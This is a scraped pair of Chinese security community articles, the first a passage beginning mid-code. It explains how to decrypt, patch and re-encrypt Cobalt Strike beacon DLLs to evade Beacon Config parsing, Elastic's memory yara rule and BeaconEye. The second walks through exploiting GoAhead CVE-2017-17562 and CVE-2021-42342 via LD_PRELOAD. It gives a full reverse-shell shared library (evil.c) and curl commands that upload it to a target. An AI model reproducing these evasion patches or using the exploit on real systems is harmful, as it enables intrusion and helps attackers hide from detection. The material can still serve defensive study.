public static void Setup(byte[] paramArrayOfbyte) {
singleton = new CrackSleevedResource(paramArrayOfbyte);
//singleton = new CrackSleevedResource(CommonUtils.readResource("resources/cobaltstrike.auth"));
}
public static byte[] DecodeResource(String paramString) {
return singleton._DecodeResource(paramString);
}
public static byte[] EncodeResource(String paramString) {
return singleton._EncodeResource(paramString);
}
private CrackSleevedResource(byte[] paramArrayOfbyte) {
this.data.registerKey(paramArrayOfbyte);
}
private byte[] _DecodeResource(String paramString) {
byte[] arrayOfByte1 = CommonUtils.readResource(paramString);
if (arrayOfByte1.length > 0) {
long l = System.currentTimeMillis();
return this.data.decrypt(arrayOfByte1);
}
byte[] arrayOfByte2 = CommonUtils.readResource(paramString);
if (arrayOfByte2.length == 0) {
CommonUtils.print_error("Could not find sleeved resource: " + paramString + " [ERROR]");
} else {
CommonUtils.print_stat("Used internal resource: " + paramString);
}
return arrayOfByte2;
}
private byte[] _EncodeResource(String paramString){
try {
File fileResource = new File(paramString);
InputStream fileStream = new FileInputStream(fileResource);
if (fileStream != null)
{
byte[] fileBytes = CommonUtils.readAll(fileStream);
if (fileBytes.length > 0)
{
byte[] fileEncBytes = this.data.encrypt(fileBytes);
return fileEncBytes;
}
}
} catch (FileNotFoundException e) {
e.printStackTrace();
}
return null;
}
}
其他地方不需要修改,然后我们将cs的jar包和该文件放置在同一文件夹中,运行命令:
javac -encoding UTF-8 -classpath cobaltstrike.jar CrackSleeve.java
java -classpath cobaltstrike.jar;./ CrackSleeve decode
成功解密得到对应的DLL模板文件:
之后的操作就是需要修改一系列的DLL,将异或数据用之前的`0x1e`进行替换,这里以`Beacon.x64.dll`为例,使用IDA打开后全局搜索`0x2e`发现:
修改字节然后记得`apply patches to input file`
这里需要修改的文件有如下:
beacon.dll
beacon.x64.dll
dnsb.dll
dnsb.x64.dll
pivot.dll
pivot.x64.dll
extc2.dll
extc2.x64.dll
方法都是类似,搜索`0x2e`看是否存在异或行为,出现则Patch最后apply即可,当全部修改完成后我们还需要加密回去再替换掉sleeve文件夹中的所有文件:
随后用同样的方式进行加密:
java -classpath cobaltstrike.jar;./ CrackSleeve encode
然后我们再讲加密后的DLL全部替换到原sleeve文件夹中,然后重新Build起`cobalt strike`的jar即可
测试HTTP和HTTPS监听器是否正常工作,如果正常工作则Bypass成功,这样就成功的避免了Beacon Config的检测
现在我们在重新使用`parse_beacon_config.py`已经无法得到对应的Beacon Config配置文件
## 0x04 基于内存签名检测的绕过
由于CS的本身特性(反射注入DLL等),在内存中肯定是有或多或少的特征,这里我们以`sleep_mask`为例,在`CS 3.12版本后`推出了
**混淆与睡眠** 内存规避的功能。
我们知道在环境中查找Beacon存在的一种方法是扫描所有正在运行的进程以查找指示攻击活动的常见字符串。例如，搜索`ReflectiveLoader`字符串将找到不会更改此导出函数名称的内存驻留反射DLL,因此为了对内存扫描进行一定规避,其引入了混淆与睡眠
> 其功能可以理解为:Beacon 是（主要）单线程信标。它请求任务，执行这些任务，然后进入睡眠状态。Beacon
> 大部分时间都在休眠。当启用`obfuscate-and-> sleep`时，Beacon会在进入睡眠状态之前在内存中混淆自身。当代理醒来时，它会自己恢复到原来的状态。
在[CS官方介绍](https://www.cobaltstrike.com/blog/cobalt-strike-3-12-blink-and-youll-miss-it/)中给出了如下的使用方法:
只需要在profile文件中设置`sleep_mask="true"`即可开启睡眠混淆功能,这里我们分别来看一下开启前和开启后的内存变化,这里使用`Process
Hacker`找到对应Beacon在内存中的值,此时是开启`sleep_mask`,可以知道该数据是被加密过的
当我们存在Sleep时,并且设置`sleep_mask=true`
> 注意这里有可能因为profile设置了`cleanup`选项，而将内存中的Stage释放掉了,导致出现没法在内存中找到对应的值的情况
当通过设置`sleep 0`为实时后会取消混淆,我们再点击`re-read`会发现会取消混淆，恢复到初始的模式:
然而在[https://www.elastic.co/cn/blog/detecting-cobalt-strike-with-memory-signatures](https://)中提到,Beacon 的 obfuscate-and-sleep
选项只会混淆字符串和数据，而负责进行加解密的代码部分不会混淆，且在内存中可以被标记出来,因此当我们拥有这一段数据时便能够在内存中进行匹配从而找到，我们利用如下的yara规则:
rule cobaltstrike_beacon_4_2_decrypt
{
meta:
author = "Elastic"
description = "Identifies deobfuscation routine used in Cobalt Strike Beacon DLL version 4.2."
strings:
$a_x64 = {4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03}
$a_x86 = {8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85 C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2}
condition:
any of them
}
的确在内存中匹配到了对应的值,这意味着即使我们使用混淆与睡眠也依然可以通过某种内存签名进行检测:
因此在这里我们需要对其进行绕过,其实绕过思路也十分简单,首先我们打开`beacon.x64.dll`(这里就用之前解密好的DLL),找到特征对应的地方:
通过Hex匹配定位到了功能代码部分:
其对应的伪代码如下所示:
因此我们想要改动Hex部分,甚至不需要对程序逻辑进行改动,只需要对赋值的先后进行调整即可,这里我们找对应函数对赋值进行顺序替换:
这里第一条指令是将[r10]赋值给r9d,对应的汇编指令为`8B 0A`,第二条指令是将[r10+4]赋值给r11d,对应的汇编指令为`8B 5A
04`,我们知道更改这两个赋值顺序是没有任何影响的,因此我们只需要稍微进行Patch即可
下面只需要替换一下即可:
32位的`beacon.dll`修改也是类似的,这里就不继续展开对`beacon.dll`的相关patch了,只是需要注意最后同样需要加密回去然后替换sleeve文件Rebuild
### 一点关于BeaconEye的疑惑
理论上修改mov指令的顺序对堆布局和分配应该不会有任何影响,但实际上会在最后笔者发现修改完后用自带的生成HTTPS的Stager并不会被BeaconEye检测到,而HTTP则会被检测,并且由其衍生spawn出来的都会被检测到,尝试动态调试但发现BeaconEye在堆查询中没有匹配到对应的规则:
而单独提取使用yara匹配时在内存中是存在的:
因此在这里比较疑惑,个人感觉不是因为对内存签名检测的绕过引起的,因为并没有影响堆布局,这里还希望其他师傅指点！
## 0x05 Bypass BeaconEye
BeaconEye的出现可以说使得很多隐匿的手段都变得无效,其主要原因归结于两点:
* 1.将Beacon Config配置文件作为特征
* 2.扫描的范围在内存的堆之中
Beacon虽然会加密存储在Loader中,但是怎样加密最后都会释放到堆内存当中,并且是以一种裸露的方式存在,即使在`profile`配置文件中设置`sleep_mask`,也仅是对代码段进行保护,不管何种加密最终都要进行解密,而`Beacon
Config`则会一直裸露在堆内存中,这也是BeaconEye针对堆扫描的原因所在
在探讨现有的Bypass思路之前我们先再来回顾一下`Beacon Config`在java中的数据格式是怎样的的?
在Beacon
config的生成阶段都是通过`addshort或者addint`等方式,是采取的通过追加了一个结构体的方式,并且这个结构的字段也很明显,分别对应的index、类型以及长度和最后的value值
根据这样一种结构我们便能够解析出在内存中的Beacon
Config配置,但是这和实际加载的数据结构却又有区别,让我们逆向对应的32位的`Beacon.dll`:
> 前文我们知道在Beacon
> config生成后会有异或加密密钥的操作,对应版本不同密钥分别为0x69和0x2e,因此这里在DLL中肯定会先进行解密,然后写入,因此我们只需要在DLL中搜索对应异或,找到对应的函数即可
因此在32位的DLL中其实只写入了两处数据,第一次写入type后再根据type的值写入value数据,并且注意到这里是`_WORD`类型,对应2个字节
而java中其实相当于使用addshort追加一个结构体,并且当写入Type时实际上也是2个字节
因此我的理解是`TeamServer`预先分配的2个字节用于对应的Type,而实际上DLL也只分别只用两个字节写入了type,但是并没有马上接着写入2个字节或4个字节的`Value`,结合伪码便可以清楚看到,这里预留了4个字节来表示Type,而后四个字节才写入Value
在yara规则中(以32位为例)实际上对Type的表示使用了4个字节,这会导致后两个字节实际上默认是空的,让我们看一下对应的yara规则:
>
> 也有说法认为在TeamServer的Java代码中使用长度为4个字节的Int类型来写入type,个人觉得并不是这样,在之前的图中也看到了写入Type时只write了长度为2的byte,只是在内存存储上的确使用了4个字节来存储这个Type,因此也意味着在有效Type和Data之间还存在两个字节的预留,默认被memset初始化为0
这样的差异虽然在功能上完全不影响,但是由于存在数据Gap,导致我们针对后两个字节的任意修改便能够轻松绕过BeaconEye所基于的yara规则
当然这样的修改还是同样需要基于`Beacon.dll`,这里对32位和64位的dll都进行一定的修改来达到绕过yara规则的效果:
先以32位DLL为例,用IDA打开解码后的DLL后找到对应的初始化内存位置:
其中`memset`进行初始化操作,函数原型如下:
# include <string.h>
void *memset(void *s, int c, unsigned long n);
> 函数的功能是：将指针变量s所指向的前n字节的内存单元用一个“整数”c替换，注意
> c是int型。s是void*型的指针变量，所以它可以为任何类型的数据进行初始化。
因此我们在这里只要修改为非0数即可,修改字节将`6A 00`修改后面的00即可
再来修改`beacon.x64.dll`,同样定位到进行内存初始化的函数处:
这里由于是用0来初始化内存,因此使用的异或:
我们将汇编指令改成`mov edx xx`即可,修改完成后我们还需要重新对解密的DLL进行加密,然后重新替换到sleeve文件中重新rebuild下:
> 注意xor edx edx只有两个字节,因此为了不破坏结构,进行修改时也尽量只使用两个字节的机器码实现修改
现在我们生成一个简单的32位的Stager然后运行再使用BeaconEye查看效果,可以看到由于我们已经修改对应的特征位,使用默认的yara规则已经匹配不到Beacon
Config配置
再来验证64位Stager发现同样BeaconEye以及之前基于签名检测的yara规则均失效
## 0x06 关于Bypass BeaconEye的其他一些说明
其实通过上述所说的修改后市面上所有的检测Beacon的工具都已经检测不到,类似[EvilEye](https://github.com/akkuman/EvilEye)、以及[CobaltStrike-scan](https://github.com/Apr4h/CobaltStrikeScan)等,其本质上只是绕过对于内存特征的检测,因为yara规则是写死的,我们只需要修改使得内存特征和yara规则稍有偏差便能够绕过
>
> 对检测而言的话原理上只需要将`00`修改为通配符即可重新检测得到,但我将`00修改为??`后还是没检测出来,使用yara也没检测出来,这里原因不详,理论上修改内存初始化的值后Type对应的预留部分的值应该会被相同值填充
但实际上yara并没有在内存中匹配如上这样的数据,所以这里我也不知道怎么检测这种绕过,有了解的师傅还请指教指教！
这其实是绕过Beaconeye的 **第一种方式** ,也就是通过绕过内存规则, **第二种方式** 已经被提及到,那就是因为 **堆遍历算法缺陷**
，因为BeaconEye是使用了`NtQueryVirtualMemory`函数进行堆的枚举。使用该函数获得的堆大小只会计算属性一致的内存页，而实际上堆段中的内存属性是不同且不连贯的,这导致BeaconEye在获取堆信息时实际只获取了堆的第一个堆段的内容,因此通过调用`SymInitialize函数`或反复调用HeapAlloc等方式,Payload分配在某个堆的第二个Segment即堆段时便无法检测到
这种方式可以使用微软提供的`HeapWalk`循环遍历所有分配的堆块的方式,相当于遍历了整个堆内存来解决
**第三种方式**
更为彻底,那就是采取堆加密的方式,大致思路就是对`sleep`进行Hook后,在Sleep后先挂起所有线程,然后对堆实现加密（例如简单的异或加密）,随后在恢复线程之前进行解密
这里并没有继续深入,可以参考原文:
[https://www.arashparsa.com/hook-heaps-and-live-free/](https://)
## 0x07 总结
上述只是对现有的一些功能的改进和绕过,目的也是了解和熟悉整个CS的工作流程以及相关二次开发的步骤，参考了很多其他师傅们的思路和相关文章,如有不当之处还请指正！
* * *
参考文章:
[https://www.cobaltstrike.com/blog/cobalt-strike-3-12-blink-and-youll-miss-it/](https://)
[https://www.elastic.co/cn/blog/detecting-cobalt-strike-with-memory-signatures](https://)
[https://www.arashparsa.com/hook-heaps-and-live-free/](https://)
[https://www.anquanke.com/post/id/253039#h2-6](https://)
[https://www.ctfiot.com/3969.html](https://) | 社区文章 |
## CVE-2017-17562
### 漏洞简述
GoAhead支持运行ASP、Javascript和标准的CGI程序，这个漏洞出自CGI程序
该漏洞是利用服务器初始化CGI时，使用了HTTP请求参数，使用特殊的参数名LD_PRELOAD劫持libc库，进而实现远程命令执行
### 影响范围
GoAhead Web Server < 3.6.5
### 漏洞分析
漏洞出现在`goahead/src/cgi.c`中的`cgihandler`中
> **cgi.c描述** ：
>
> This module implements the /cgi-bin handler. CGI processing differs from
> goforms processing in that each CGI request is executed as a separate
> process, rather than within the webserver process. For each CGI request the
> environment of the new process must be set to include all the CGI variables
> and its standard input and output must be directed to the socket. This
> is done using temporary files.
在函数中的`137行`逻辑中，将http的请求参数分割为键值对的形式
之后在`162行`中只对`REMOTE_HOST`
`HTTP_AUTHORIZATION`这两个键值进行了过滤，其他的，比如这里的漏洞利用`LD_PRELOAD`完全信任
之后在`180行`左右将输入输出指向了一个临时文件
我们可以跟进`websGetCgiCommName`函数查看临时文件
跟进`websTempFile` 在`goahead.c`中有
这里可以知道如果没有指定路径，默认是`/tmp`路径
之后找到`launchCgi`的处理函数在`cgi.c`的533行左右
可以知道先打开`stdIn`以及`stdOut`指向的文件即两个tmp文件，然后创建子进程，在子进程中将进程的标准输入与输出重定向到了两个打开文件句柄中，最后调用`execve`去启动新进程执行cgi文件，cgi可执行文件执行的过程中，标准输入会从`stdIn`文件中获取，标准输出会输出到`stdOut`文件中。`execve`启动的第三个参数`envp`即是之前`cgiHandler`解析过的envp数组，以此实现将cgi可执行程序的变量放入到环境变量中所以这里就可以使用
`LD_PRELOAD`配合`/proc/self/fd/0`实现代码执行
所以如果我们将相同构造的evil.so放在http的POST
body部分，发送`?LD_PRELOAD=/proc/self/fd/0`就会加载我们的恶意so文件
### 漏洞搭建及利用
这里直接使用vulhub的docker-compose.yml了
`docker-compose up -d`
成功访问cgi-bin下的index
构造payload:
`evil.c`
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="";
uint32_t server_port=7777;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/bash", 0, 0);
}
编译
`gcc exp.c -fPIC -s -shared -o evil.so`
发送evil.so
`curl -X POST --data-binary @evil.so http://192.168.153.136:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0`
成功反弹shell
## CVE-2021-42342
### 漏洞简述
这个CVE和上面那个CVE类似，同样是使用`LD_PRELOAD`来进行利用
我们来看看官方针对上面CVE的修复
同样是在`cgi.c`中对应位置，他增加了LD开头的过滤
但是他这里使用了一个strim方法
跟进
这里的`vp`将恒为0，而且在后面也使用`sfmt`格式化字符串，但是同样的也需要`s->arg!=0`才会进入执行，它默认状态下是为0的
当然，也同样在http.c中添加了让他为1进入if语句
### 影响范围
在2021.5.19的时候官方默认关闭了CGI配置（[DEV: remove options/trace routes from default ·
embedthis/goahead@65afbf1
(github.com)](https://github.com/embedthis/goahead/commit/65afbf1e85eebd77f989f51e517dc808b5819855)）
存在有cgi-bin目录且存在有cgi文件
GoAhead web-server=4.x
5.x<=GoAhead web-server<5.1.5
### 漏洞分析
通过前面的补丁分析，我们知道他加上了前缀处理
在GoAhead进行开启时，调用`http.c#websServer`完成初始化处理
之后如果是存在上传文件功能
在`upload.c`中，默认的上传文件目录是`/tmp`
在`processUploadHeader`中构造此次HTTP请求结构体的`uploadTmp`值
跟进`websTempFile`
与前面分析差不多，会生成一个`/tmp/tmp-0.tmp`的临时文件
之后会在`processContentData`处理上传文件时，将调用`writeToFile`写入文件
在最后响应请求的时候，就会调用`route.c#websRunRequest`方法，其中有两个方法`websSetQueryVars`
`websSetFormVars`
这2个函数都调用了`addFormVars`, 他们都会将`arg`置为1进行环境变量的重命名
但是在调用`websSetFormVars`方法时需要满足if语句，前提是`wp-flags`取值为`WEB_FORM`
当`content-type`为`multipart/form-data`时，`wp-flags`将赋值为`WEBS_UPLOAD`，也就是说，如果HTTP请求为文件上传类型时，参数将不会通过`addFormVars`处理，此时`s->arg`取值仍然为`0`，从而在`cgi.c#cgiHandler`中将不会重命名环境变量
在`http.c#parseHeaders`进行了判断
所以我们就可以通过表单的方式传入LD_PRELOAD环境变量
### 漏洞搭建及利用
`Dockerfile`
FROM debian:buster
RUN set -ex \
&& apt-get update \
&& apt-get install wget make gcc -y \
&& wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ \
&& cd /usr/src \
&& make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'" \
&& make install \
&& cp src/self.key src/self.crt /etc/goahead/ \
&& mkdir -p /var/www/goahead/cgi-bin/ \
&& apt-get purge -y --auto-remove wget make gcc \
&& cd /var/www/goahead \
&& rm -rf /usr/src/ /var/lib/apt/lists/* \
&& sed -e 's!^# route uri=/cgi-bin dir=cgi-bin handler=cgi$!route uri=/cgi-bin dir=/var/www/goahead handler=cgi!' -i /etc/goahead/route.txt
COPY hello /var/www/goahead/cgi-bin/hello
RUN chmod +x /var/www/goahead/cgi-bin/hello
EXPOSE 8081
CMD ["goahead", "-v", "--home", "/etc/goahead", "/var/www/goahead", "0.0.0.0:8081"]
`hello`
#!/bin/bash
echo -e "Content-Type: text/plain\n"
env
`docker-compose.yml`
version: '2'
services:
web:
image: vulhub/goahead:5.1.4
ports:
- "8080:80"
volumes:
- ./hello:/var/www/goahead/cgi-bin/hello
这里可以使用`Dockerfile`构建镜像，或者使用上面的`docker-compose.yml`构建容器，但是后者需要进入容器给`hello`可执行权限，当然也可以构造另一个`Dockerfile`直接一步完成
`docker-compose up -d`构造成功
探测注入：
可以发现成功写入了环境变量
构造payload:
curl -v -F [email protected] -F "LD_PRELOAD=/proc/self/fd/0" http://192.168.153.136:8080/cgi-bin/hello
但是这个payload不得行，按照p神的说法有几个坑
1. GoAhead在遇到上传表单的时候，会先将这个上传的文件保存在一个临时目录下，待脚本程序处理完成后删掉这个临时文件，默认是在`--home`的相对目录`tmp`中，可以通过宏`ME_GOAHEAD_UPLOAD_DIR`指定（可以在/etc/goahead下创建tmp目录或者在Dockerfile中`make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'"`指定宏）
2. 这里POST的数据将会大于`ME_GOAHEAD_LIMIT_POST`, 在代码`http.c#parseHeader`
我们可以在编译的时候通过`-s`缩小大小
1. 没有fd文件描述符
当然，如果像这里有env输出了临时文件的位置，我们完全可以直接通过`LD_PRELOAD=/tmp/tmp-xxx`直接包含，实战中当然不可能
也有其他解法
一. 添加脏数据并将HTTP的Content-Length设置成小于最终的数据包Body大小这样，GoAhead读取数据包的时候能够完全读取到payload.so的内容，但实际这个文件并没有上传完毕
`curl -v -F [email protected] -F "LD_PRELOAD=/proc/self/fd/7" -x
http://127.0.0.1:8081 http://192.168.153.136:8080/cgi-bin/hello`
二：抓包爆破`/proc/self/fd/$7$`
成功反弹shell
## 参考
<https://www.leavesongs.com/PENETRATION/goahead-en-injection-cve-2021-42342.html>
[CVE-2021-42342 GoAhead 远程命令执行漏洞深入分析与复现
(seebug.org)](https://paper.seebug.org/1808/#_4)
[GoAhead远程代码执行漏洞(CVE-2017-17562)分析及实战
(seebug.org)](https://paper.seebug.org/488/) | 社区文章 |
Subsets and Splits